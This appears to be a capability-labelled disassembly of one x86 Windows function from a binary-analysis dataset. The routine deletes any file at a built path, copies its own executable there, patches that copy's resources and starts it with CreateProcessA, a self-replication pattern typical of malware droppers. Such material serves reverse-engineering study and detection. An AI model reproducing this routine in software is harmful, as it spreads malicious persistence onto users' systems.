Function at 0x4026fc
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x384
lea eax, [ebp - 0x20c]
push eax
call fcn.004020ce
add esp, 4
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x104]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x4012a8
lea eax, [ebp - 0x104]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x104
lea ecx, [ebp - 0x314]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x314]
push edx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402790
push 0
call fcn.00402420
add esp, 4
test eax, eax
je 0x402789
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call fcn.0040182a
add esp, 4
jmp 0x402790
xor eax, eax
jmp 0x4029dc
lea ecx, [ebp - 0x210]
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.004020f3
add esp, 8
test eax, eax
je 0x4027eb
cmp dword [ebp - 0x108], 0
jae 0x4027eb
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
test eax, eax
je 0x4027eb
mov ecx, dword [ebp - 0x210]
push ecx
call fcn.0040182a
add esp, 4
test eax, eax
jne 0x4027de
xor eax, eax
jmp 0x4029dc
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x402813
lea ecx, [ebp - 0x104]
push ecx
call fcn.004019e4
add esp, 4
test eax, eax
jne 0x4029cd
push 0
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4029c9
push 0
lea ecx, [ebp - 0x104]
push ecx
call fcn.00402c92
add esp, 8
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x37c], 0
lea edx, [ebp - 0x37c]
push edx
push 0x400
push 0x401360
push 0xa
mov eax, dword [ebp - 0x330]
push eax
call fcn.00403ebf
add esp, 0x14
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x380], 0
cmp dword [ebp - 0x37c], 0
je 0x4028cd
mov ecx, dword [ebp - 0x37c]
push ecx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [ebp - 0x384], eax
mov edx, dword [ebp - 0x384]
mov dword [ebp - 0x380], edx
mov eax, dword [ebp - 0x37c]
push eax
mov ecx, dword [ebp - 0x378]
push ecx
mov edx, dword [ebp - 0x380]
push edx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
jmp 0x4028d4
xor eax, eax
jmp 0x4029dc
push 1
mov eax, dword [ebp - 0x330]
push eax
call fcn.0040416a
add esp, 8
push 1
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0
jne 0x40290a
xor eax, eax
jmp 0x4029dc
mov edx, dword [ebp - 0x37c]
push edx
mov eax, dword [ebp - 0x380]
push eax
push 0x400
push 0x401360
push 0xa
mov ecx, dword [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
test eax, eax
jne 0x40293c
xor eax, eax
jmp 0x4029dc
push 0
mov edx, dword [ebp - 0x328]
push edx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
jne 0x402956
xor eax, eax
jmp 0x4029dc
push 0x10
push 0
lea eax, [ebp - 0x324]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x374]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 0x374], 0x44
lea edx, [ebp - 0x324]
push edx
lea eax, [ebp - 0x374]
push eax
lea ecx, [ebp - 0x20c]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
jne 0x4029c7
xor eax, eax
jmp 0x4029dc
jmp 0x4029cd
xor eax, eax
jmp 0x4029dc
lea eax, [ebp - 0x314]
push eax
call fcn.004021dd
add esp, 4
mov esp, ebp
pop ebp
ret